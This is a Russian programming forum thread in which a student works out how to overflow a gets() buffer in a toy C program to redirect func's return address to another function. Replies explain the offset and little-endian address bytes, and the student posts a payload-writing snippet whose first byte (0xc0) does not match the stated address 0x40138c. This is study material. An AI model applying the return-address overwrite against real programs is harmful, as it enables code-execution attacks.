Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 14.11.2011, 00:39   #1
dmitrii6120
Новичок
Джуниор
 
Регистрация: 14.11.2011
Сообщений: 4
Вопрос Как подменить адрес возврата функции func на адрес функции f используя переполнение буфера buf и функции gets

Здравствуйте!

Помогите решить такую задачу:

Нужно подменить адрес возврата функции func на адрес функции f используя переполнение буфера buf и функцию gets.

Код:
#include <stdio.h>
#include <stdlib.h>

void f(void)
{
        printf("I`m here!");

	exit(0);
}

int func() 
{
	char buf[4]; 

        gets(buf);

	return 0;
}

int main() 
{	
	func();
	
	return 0;
}
Вот что токо передать строке buf через gets?

Последний раз редактировалось dmitrii6120; 14.11.2011 в 00:43.
dmitrii6120 вне форума Ответить с цитированием
Старый 14.11.2011, 01:03   #2
Son Of Pain
Участник клуба
 
Регистрация: 23.12.2010
Сообщений: 1,129
По умолчанию

А зачем тебе? )

Сначала почитать какую-то статью о том, что вообще такое 'переполнение буфера'. Из нее понять, что адрес, которым нужно подменять, зависит от компилятора, версии операционной системы, ее настроек, прочего окружения. Узнать, каким будет этот адрес на целевой системе, воспользовавшись отладчиком (если к ней есть доступ) или установив аналогичное окружение в виртуальной машине; если точно узнать по той или иной причине не удается - подбирать его экспериментально. Узнать, какое расстояние будет от буфера до адреса возврата в стеке у нужного бинарного файла (оно от компилятора и его ключей зависит, в частности).

И только тогда сесть и составить строку, которую нужно передать в gets, зная эти две величины.
Son Of Pain вне форума Ответить с цитированием
Старый 14.11.2011, 01:44   #3
dmitrii6120
Новичок
Джуниор
 
Регистрация: 14.11.2011
Сообщений: 4
По умолчанию

при прогоне программы которая ниже:
если ввести 12 символов - напр "111122223333" прога виснет - значит я порчу адрес возврата функции. здесь "1111" уже заполнили buf полностью. далее 2222 затирает значение EBP. ну а остальные "3333" портят уже адрес возврата функции func. дак вот что мне писать после "11112222" (если после них уже идёт адрес возврата, я даже адрес функции f вычислил - 0x40138c), а точнее как записать адрес 0x40138c в строку после "11112222"?

про переполнение буфера читал здесь: http://www.codenet.ru/progr/asm/overflow.php


Код:
#include <stdio.h>
#include <stdlib.h>

void f(void)
{
        printf("I`m here!");

	exit(0);
}

int func() 
{
	char buf[4]; 

        gets(buf);

	return 0;
}

int main() 
{	
	func();
	
	return 0;
}
dmitrii6120 вне форума Ответить с цитированием
Старый 14.11.2011, 02:19   #4
Son Of Pain
Участник клуба
 
Регистрация: 23.12.2010
Сообщений: 1,129
По умолчанию

Записать этот адрес символами, помня о том, что архитектура x86 является little-endian. Символ с кодом 8c, символ с кодом 0x13 и символ с кодом 0x40.
Son Of Pain вне форума Ответить с цитированием
Старый 14.11.2011, 18:16   #5
dmitrii6120
Новичок
Джуниор
 
Регистрация: 14.11.2011
Сообщений: 4
По умолчанию

получилось. вся проблема бы в символе с кодом 0, я в место него лепил пробел поэтому и вылетало.
dmitrii6120 вне форума Ответить с цитированием
Старый 14.11.2011, 19:08   #6
Son Of Pain
Участник клуба
 
Регистрация: 23.12.2010
Сообщений: 1,129
По умолчанию

Он там не нужен фактически, в конце строки же автоматически добавляется.

Кстати, рекомендую книжку "hacking: the art of exploitation, second edition". Там такие базовые вещи объясняются буквально на пальцах.
Son Of Pain вне форума Ответить с цитированием
Старый 14.11.2011, 20:10   #7
dmitrii6120
Новичок
Джуниор
 
Регистрация: 14.11.2011
Сообщений: 4
По умолчанию

так то да. но если просто писать в файл то там не будет этого символа и файл будет весить 3 байт. так что запилил небольшую програмку вывел адрес задом наперёд с символом с кодом ноль (файл 4 байта весить - ок). ну и добавил потом к другому файлу эту строку и всё ок.

Код:

FILE *file = fopen("b.txt", "wt");
	
fprintf(file, "%c%c%c%c", 0xc0, 0x13, 0x40, 0);
	
fclose(file);
ок. посмотрим. спасибо.
dmitrii6120 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Получить адрес функции в классе coNsept Общие вопросы C/C++ 3 02.03.2011 02:43
как правильно прописать адрес в функции? (формула) coldis Microsoft Office Excel 3 18.02.2009 09:47
Адрес и размер функции Ivan_32 Общие вопросы C/C++ 3 11.02.2009 19:58
как определить адрес значения, полученного с помощью функции ВПР? profik777 Microsoft Office Excel 5 21.11.2008 14:59
адрес не активной ячейки при вызове функции skachkovgd Microsoft Office Excel 4 06.12.2007 09:50